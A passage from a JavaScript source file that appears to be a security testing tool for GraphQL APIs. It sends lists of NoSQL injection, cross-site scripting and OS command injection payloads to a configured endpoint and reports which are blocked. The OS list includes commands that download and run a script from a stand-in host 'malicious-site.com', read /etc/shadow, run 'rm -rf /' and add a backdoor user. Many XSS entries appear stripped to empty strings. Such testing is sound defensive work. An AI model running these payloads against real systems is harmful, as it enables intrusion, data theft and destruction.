174 | }); 175 | } 176 | 177 | console.log( 178 | underlined(greenBold("\nPotentially malicious queries blocked: \n\n")), 179 | blockedInjections 180 | ); 181 | console.log( 182 | underlined(redBold("\nPotentially malicious queries allowed: \n\n")), 183 | red(allowedInjections) 184 | ); 185 | 186 | if (returnToTestMenu) returnToTestMenu(); 187 | }; 188 | 189 | // Tests vulnerability to malicous NoSQL injection 190 | maliciousInjectionTest.NoSQL = async (returnToTestMenu) => { 191 | validateConfig(config); 192 | if (!config.NO_SQL) { 193 | console.log( 194 | "NO_SQL config variable must be set to boolean true to execute NO_SQL injection test." 195 | ); 196 | return; 197 | } 198 | let successfulQuery = true; 199 | const blockedInjections = []; 200 | const allowedInjections = []; 201 | 202 | const potentiallyMaliciousNoSQL = [ 203 | "true, $where: '1 == 1'", 204 | ", $where: '1 == 1'", 205 | "$where: '1 == 1'", 206 | "', $where: '1 == 1'", 207 | "1, $where: '1 == 1'", 208 | "{ $ne: 1 }", 209 | "', $or: [ {}, { 'a':'a", 210 | "' } ], $comment:'successful MongoDB injection'", 211 | "db.injection.insert({success:1});", 212 | "db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1", 213 | "|| 1==1", 214 | "' && this.password.match(/.*/)//+%00", 215 | "' && this.passwordzz.match(/.*/)//+%00", 216 | "'%20%26%26%20this.password.match(/.*/)//+%00", 217 | "'%20%26%26%20this.passwordzz.match(/.*/)//+%00", 218 | "{$gt: ''}", 219 | "[$ne]=1", 220 | "';return 'a'=='a' && ''=='", 221 | "\";return(true);var xyz='a", 222 | "0;return true", 223 | ]; 224 | 225 | for (const maliciousSnippet of potentiallyMaliciousNoSQL) { 226 | await fetch(config.API_URL, { 227 | method: "POST", 228 | headers: { 229 | "content-type": "application/json", 230 | }, 231 | body: JSON.stringify({ 232 | query: `query { 233 | ${config.SQL_TABLE_NAME}(sql: "${maliciousSnippet}") { 234 | ${config.SQL_COLUMN_NAME} 235 | } 236 | }`, 237 | }), 238 | }).then((res) => { 239 | if (!res.ok) { 240 | successfulQuery = false; 241 | blockedInjections.push(maliciousSnippet); 242 | } else allowedInjections.push(maliciousSnippet + "\n"); 243 | }); 244 | } 245 | 246 | console.log( 247 | underlined(greenBold("\nPotentially malicious queries blocked: \n\n")), 248 | blockedInjections 249 | ); 250 | console.log( 251 | underlined(redBold("\nPotentially malicious queries allowed: \n\n")), 252 | red(allowedInjections) 253 | ); 254 | 255 | if (returnToTestMenu) returnToTestMenu(); 256 | }; 257 | 258 | // Tests vulnerability to malicous Cross-Site Scripting injection 259 | maliciousInjectionTest.XSS = async (returnToTestMenu) => { 260 | validateConfig(config); 261 | let successfulQuery = true; 262 | const blockedInjections = ["Block me!"]; 263 | const allowedInjections = []; 264 | 265 | const potentiallyMaliciousXSS = [ 266 | '"-prompt(8)-"', 267 | "'-prompt(8)-'", 268 | '";a=prompt,a()//', 269 | "';a=prompt,a()//", 270 | `'-eval("window['pro'%2B'mpt'](8)")-'`, 271 | `"-eval("window['pro'%2B'mpt'](8)")-"`, 272 | '"onclick=prompt(8)>"@x.y', 273 | '"onclick=prompt(8)>"@x.y', 274 | "", 275 | "", 276 | "", 277 | "", 278 | "", 279 | "", 280 | "t>", 281 | "", 282 | '">", 289 | "lose focus! ", 290 | "click this! ", 291 | "copy this! ", 292 | "right click this! ", 293 | "copy this! ", 294 | "double click this! ", 295 | "drag this! ", 296 | "focus this! ", 297 | "input here! ", 298 | "press any key! ", 299 | "press any key! ", 300 | "press any key! ", 301 | "click this! ", 302 | "hover this! ", 303 | "hover this! ", 304 | "hover this! ", 305 | "click this! ", 306 | "paste here!", 307 | ".gif', 364 | '', 365 | "GIF89a/**/=alert(document.domain)//;", 366 | ]; 367 | 368 | for (const maliciousSnippet of potentiallyMaliciousXSS) { 369 | await fetch(config.API_URL, { 370 | method: "POST", 371 | headers: { 372 | "content-type": "application/json", 373 | }, 374 | body: JSON.stringify({ 375 | query: `query { 376 | ${config.TOP_LEVEL_FIELD}(id: ${config.ANY_TOP_LEVEL_FIELD_ID}) { 377 | id 378 | # ${maliciousSnippet} 379 | } 380 | }`, 381 | }), 382 | }).then((res) => { 383 | if (!res.ok) { 384 | successfulQuery = false; 385 | blockedInjections.push(maliciousSnippet); 386 | } else allowedInjections.push(maliciousSnippet + "\n"); 387 | }); 388 | } 389 | 390 | console.log( 391 | underlined(greenBold("\nPotentially malicious queries blocked: \n\n")), 392 | blockedInjections 393 | ); 394 | console.log( 395 | underlined(redBold("\nPotentially malicious queries allowed: \n\n")), 396 | red(allowedInjections) 397 | ); 398 | 399 | if (returnToTestMenu) returnToTestMenu(); 400 | }; 401 | 402 | // Tests vulnerability to malicous OC Command injection 403 | maliciousInjectionTest.OS = async (returnToTestMenu) => { 404 | validateConfig(config); 405 | let successfulCommand = true; 406 | const blockedCommands = []; 407 | const allowedCommands = []; 408 | 409 | const potentiallyMaliciousOS = [ 410 | `' ; ls -la'`, 411 | `' ; cat /etc/passwd'`, 412 | `' ; id'`, 413 | `' ; echo "Hello, OS Command Injection!"'`, 414 | `' ; rm -rf /'`, 415 | `' ; wget malicious-site.com/malware.sh -0 /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh'`, 416 | `' ; curl -o /tmp/malware.sh malicious-site.com/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh'`, 417 | `' ; ping -c 3 malicious-site.com'`, 418 | `';$(sleep 5) #'`, 419 | `'; $(sleep 5) #'`, 420 | `'|| sleep 5 ||'`, 421 | `' || sleep 5 || '`, 422 | `'; cat /etc/shadow #'`, 423 | `'; rm -rf /etc /var #'`, 424 | `'; curl -X POST -d "param=value" malicious-site.com'`, 425 | `'; wget -0 /dev/null malicious-site.com/data.txt'`, 426 | `'; find / -name *.log'`, 427 | `'; ps aux'`, 428 | `'; netstat -an'`, 429 | `'; service apache2 restart'`, 430 | `'; useradd malicious-user && echo 'malicious-pass' | passwd --stdin malicious-user'`, 431 | `'; iptables -A INPUT -p tcp --dport 12345 -j DROP'`, 432 | `'; echo "Malicious payload" > /var/www/html/index.html'`, 433 | `'; chmod 777 /'`, 434 | `' ; tar -cvzf /tmp/malicious.tar.gz /etc'`, 435 | `' ; mv /var/log/syslog /tmp/syslog_backup'`, 436 | `' ; echo "Malicious content" >> /etc/hosts'`, 437 | `' ; chsh -s /bin/bash malicious-user'`, 438 | `' ; sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config'`, 439 | `' ; echo "127.0.0.1 malicious-site.com" >> /etc/hosts'`, 440 | ]; 441 | 442 | for (const maliciousCommand of potentiallyMaliciousOS) { 443 | await fetch(config.API_URL, { 444 | method: "POST", 445 | headers: { 446 | "content-type": "application/json", 447 | }, 448 | body: JSON.stringify({ 449 | command: maliciousCommand, 450 | }), 451 | }).then((res) => { 452 | if (!res.ok) { 453 | successfulCommand = false; 454 | blockedCommands.push(maliciousCommand); 455 | } else { 456 | allowedCommands.push(maliciousCommand + "\n"); 457 | } 458 | }); 459 | } 460 | 461 | console.log( 462 | underlined(greenBold("\nPotentially malicious commands blocked: \n\n")), 463 | blockedCommands 464 | ); 465 | console.log( 466 | underlined(redBold("\nPotentially malicious commands allowed: \n\n")), 467 | red(allowedCommands) 468 | ); 469 | 470 | if (returnToTestMenu) returnToTestMenu(); 471 | }; 472 | 473 | module.exports = maliciousInjectionTest; 474 | --------------------------------------------------------------------------------